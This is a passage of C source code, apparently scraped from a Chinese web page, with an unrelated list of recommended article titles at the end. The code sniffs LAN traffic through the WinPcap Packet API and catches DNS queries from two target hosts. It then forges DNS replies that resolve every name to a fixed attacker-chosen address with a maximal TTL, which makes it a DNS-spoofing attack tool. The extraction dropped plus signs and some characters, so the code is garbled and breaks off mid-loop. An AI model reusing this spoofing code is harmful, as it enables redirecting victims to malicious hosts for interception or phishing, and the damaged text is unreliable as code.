while(1)
{
if(PacketReceivePacket(lpadapter,lppacketr,TRUE)==FALSE)
{
break;
}
ulbytesreceived=lppacketr->ulBytesReceived;
buf=(char *)lppacketr->Buffer;
off=0;
while(off<ulbytesreceived)
{
hdr=(struct bpf_hdr *)(buf off);
off =hdr->bh_hdrlen;
pchar=(char *)(buf off);
off=Packet_WORDALIGN(off hdr->bh_caplen);
ethr=*(ETHDR *)pchar;
if(ethr.eh_type==htons(ETH_IP))
{
ipr=*(IPHDR *)(pchar sizeof(ETHDR));
if(ipr.protocol!=17)
{
continue;
}
if((ipr.sourceip!=secondip) && (ipr.sourceip!=firstip))
{
continue;
}
udpr=*(UDPHDR *)(pchar sizeof(ETHDR) sizeof(IPHDR));
ulen=ntohs(udpr.length)-sizeof(UDPHDR)-sizeof(DNS)-sizeof(QUERY);
dname=(unsigned char *)malloc(ulen*sizeof(unsigned char));
if(udpr.destport==htons(53))
{
printf("Get a DNS Packet...t");
memset(sendbuf,0,sizeof(sendbuf));
memcpy(&dnsr,pchar sizeof(ETHDR) sizeof(IPHDR) sizeof(UDPHDR),sizeof(DNS));
memcpy(dname,pchar sizeof(ETHDR) sizeof(IPHDR) sizeof(UDPHDR) sizeof(DNS),ulen);
memcpy(&queryr.type,pchar sizeof(ETHDR) sizeof(IPHDR) sizeof(UDPHDR) sizeof(DNS) ulen,2);
memcpy(&queryr.classes,pchar sizeof(ETHDR) sizeof(IPHDR) sizeof(UDPHDR) sizeof(DNS) ulen 2,2);
responses.name=htons(0xC00C);
responses.type=queryr.type;
responses.classes=queryr.classes;
responses.ttl=0xFFFFFFFF;
responses.length=htons(4);
responses.addr=virtualip;
querys.classes=queryr.classes;
querys.type=queryr.type;
dnss.id=dnsr.id;
dnss.flags=htons(0x8180);
dnss.quests=htons(1);
dnss.answers=htons(1);
dnss.author=0;
dnss.addition=0;
udps.souceport=udpr.destport;
udps.destport=udpr.souceport;
udps.length=htons(sizeof(UDPHDR) sizeof(DNS) ulen sizeof(QUERY) sizeof(RESPONSE));
udps.checksum=0;
ips.h_lenver=(4<<4sizeof(IPHDR)/sizeof(unsigned int));
ips.tos=0;
ips.total_len=ntohs(sizeof(IPHDR) sizeof(UDPHDR) sizeof(DNS) ulen sizeof(QUERY) sizeof(RESPONSE));
ips.ident=htons(12345);
ips.frag_and_flags=0;
ips.ttl=255;
ips.protocol=IPPROTO_UDP;
ips.checksum=0;
ips.sourceip=ipr.destip;
ips.destip=ipr.sourceip;
psds.saddr=ips.sourceip;
psds.daddr=ips.destip;
psds.mbz=0;
psds.ptcl=IPPROTO_UDP;
psds.udpl=htons(sizeof(UDPHDR) sizeof(DNS) ulen sizeof(QUERY) sizeof(RESPONSE));
memset(temp,0,sizeof(temp));
memcpy(temp,&psds,sizeof(PSD));
memcpy(temp sizeof(PSD),&udps,sizeof(UDPHDR));
memcpy(temp sizeof(PSD) sizeof(UDPHDR),&dnss,sizeof(DNS));
memcpy(temp sizeof(PSD) sizeof(UDPHDR) sizeof(DNS),dname,ulen);
memcpy(temp sizeof(PSD) sizeof(UDPHDR) sizeof(DNS) ulen,&querys,sizeof(QUERY));
memcpy(temp sizeof(PSD) sizeof(UDPHDR) sizeof(DNS) ulen sizeof(QUERY),&responses,sizeof(RESPONSE));
udps.checksum=checksum((USHORT *)temp,sizeof(PSD) sizeof(UDPHDR) sizeof(DNS) ulen sizeof(QUERY) sizeof(RESPONSE));
memset(temp,0,sizeof(temp));
memcpy(temp,&ips,sizeof(IPHDR));
ips.checksum=checksum((USHORT *)temp,sizeof(IPHDR));
eths.eh_type=ethr.eh_type;
memcpy(ðs.eh_src,ðr.eh_dst,6);
memcpy(ðs.eh_dst,ðr.eh_src,6);
推荐阅读
- 松下洁乐智能马桶盖怎么样
- DNS在操作系统中的简单配置
- 新课改背景下的评价观是什么
- 晚上饿是在消耗脂肪吗 饥饿状态下多长时间消耗脂肪
- 林下散养笨鸡技术要点
- 随心所欲下载—构造你自己的Linux网络蚂蚁
- 百度地图怎么下载离线地图
- 存货周转率下降说明什么
- 遇强则强下一句是什么遇强则强的下半段是什么
- 建议七喜厂家通过软件升级增加以下功能
